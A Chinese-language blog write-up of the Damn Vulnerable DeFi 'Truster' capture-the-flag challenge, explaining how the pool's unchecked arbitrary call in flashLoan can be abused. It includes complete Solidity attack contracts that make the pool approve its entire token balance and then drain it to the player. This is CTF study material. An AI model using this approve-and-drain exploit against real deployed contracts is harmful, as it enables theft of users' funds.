banner
zach

zach

github
twitter
medium

damn-vulnerable-defi | Truster

Challenge #3 - Truster#

Truster

为了系统的学习 solidity 和 foundry,我基于 foundry 测试框架重新编写 damnvulnerable-defi 的题解,欢迎交流和共建~🎉

合约#

  • TrusterLenderPool:提供闪电贷功能,池子中有 100w DVT tokens

脚本#

  • 部署 DamnValuableToken、TrusterLenderPool 合约
  • 向 pool 中转入 100w DVT tokens
  • 执行攻击脚本
  • 期望 100w token 全部归属 player 账户,pool 余额清空

题解#

在 pool 中的 flashLoan 方法中,首先需要计算当前的 token 余额 balanceBefore,然后转移 token 到 borrower,再执行给定 target.functionCall,最后校验当前余额和 balanceBefore

区别于之前的闪电贷,这里 pool 没有继承 IERC3156FlashLender,而是通过调用传入的 target 和 calldata 完成回调功能

因此主要的攻击方向就是 target.functionCall,包括的内容是:

  • 将指定 amount 的 token approve 给攻击合约
  • 执行 repay 流程

执行完 functionCall 后再利用 transfer 方法将 token 从 pool 中转移出来,整体流程图如下所示:
image

根据题目要求,尽可能在一笔交易完成,那么需要写合约来完成 flashloan+approve+transfer 的操作

  • 包括两个合约:TmpAttacker 和 Attacker,执行 flashloan 的是 Attacker,但是因为一笔交易内完成(只有部署合约),部署合约时无法拿到当前合约地址,需要再创建一个合约:TmpAttacker

  • 部署 Attacker 合约时会调用 pool.flashLoan,此时 amount 为 0,只是为了进行 approve,将 TOKENS_IN_POOL 数目的 token approve 给 TmpAttacker

  • 再调用 TmpAttacker.withdraw 将 token 转移到 player 账户,完成攻击

整体代码如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/truster/TrusterLenderPool.sol";
import "../../src/DamnValuableToken.sol";

contract TmpAttacker {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;
    address player;
    address pool;
    DamnValuableToken token;
    constructor(address _player,address _token, address _pool){
        player = _player;
        pool = _pool;
        token = DamnValuableToken(_token);
    }

    function withdraw() external{
        token.transferFrom(pool, player, TOKENS_IN_POOL);
    }
}

contract Attacker {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;

    constructor(address  _pool, address  _token){
        TmpAttacker attacker  = new TmpAttacker(msg.sender, _token,_pool);

        TrusterLenderPool pool = TrusterLenderPool(_pool);
        
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            attacker,
            TOKENS_IN_POOL
        );
        pool.flashLoan(0, address(attacker), _token, data);
        attacker.withdraw();
    }
}
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。